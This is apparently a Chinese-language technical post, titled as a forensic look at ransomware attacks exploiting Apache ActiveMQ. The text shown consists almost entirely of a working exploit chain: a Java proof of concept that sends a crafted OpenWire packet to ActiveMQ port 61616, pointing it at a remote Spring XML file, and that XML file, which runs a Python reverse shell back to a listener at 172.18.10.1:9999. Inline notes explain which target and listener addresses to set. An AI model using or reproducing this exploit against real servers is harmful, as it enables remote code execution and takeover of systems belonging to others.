技術(shù)分享 | 取證揭秘：Apache ActiveMQ漏洞背后的勒索軟件攻擊

import java.io.*;import java.net.Socket;
public class poc {    public static void main(final String[] args) throws Exception {        System.out.println("[*] Poc for ActiveMQ openwire protocol rce");        String ip = "172.18.10.129";  **此處是ActiveMQ服務(wù)IP                    int port = 61616; **此處是ActiveMQ服務(wù)端口        String pocxml= "http://172.18.10.1:8000/poc.xml";**此處是指向http服務(wù)的POC.xml        Socket sck = new Socket(ip, port);        OutputStream os = sck.getOutputStream();        DataOutputStream out = new DataOutputStream(os);        out.writeInt(0);         out.writeByte(31); //dataType ExceptionResponseMarshaller        out.writeInt(1); //CommandId        out.writeBoolean(true); //ResponseRequired        out.writeInt(1); //CorrelationId        out.writeBoolean(true);        //use true -> red utf-8 string        out.writeBoolean(true);        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");        //use true -> red utf-8 string        out.writeBoolean(true);        out.writeUTF(pocxml);        //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce        out.close();        os.close();        sck.close();        System.out.println("[*] Target\t" + ip + ":" + port);        System.out.println("[*] XML address\t" + pocxml);        System.out.println("[*] Payload send success.");    }}

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">    <constructor-arg>      <list>        <value>python</value> **此處是調(diào)用python命令去執(zhí)行shell命令。        <value>-c</value>  <value><![CDATA[import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.10.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")]]></value> **此處是172.18.10.1 控制端的9999端口      </list>    </constructor-arg>  </bean></beans>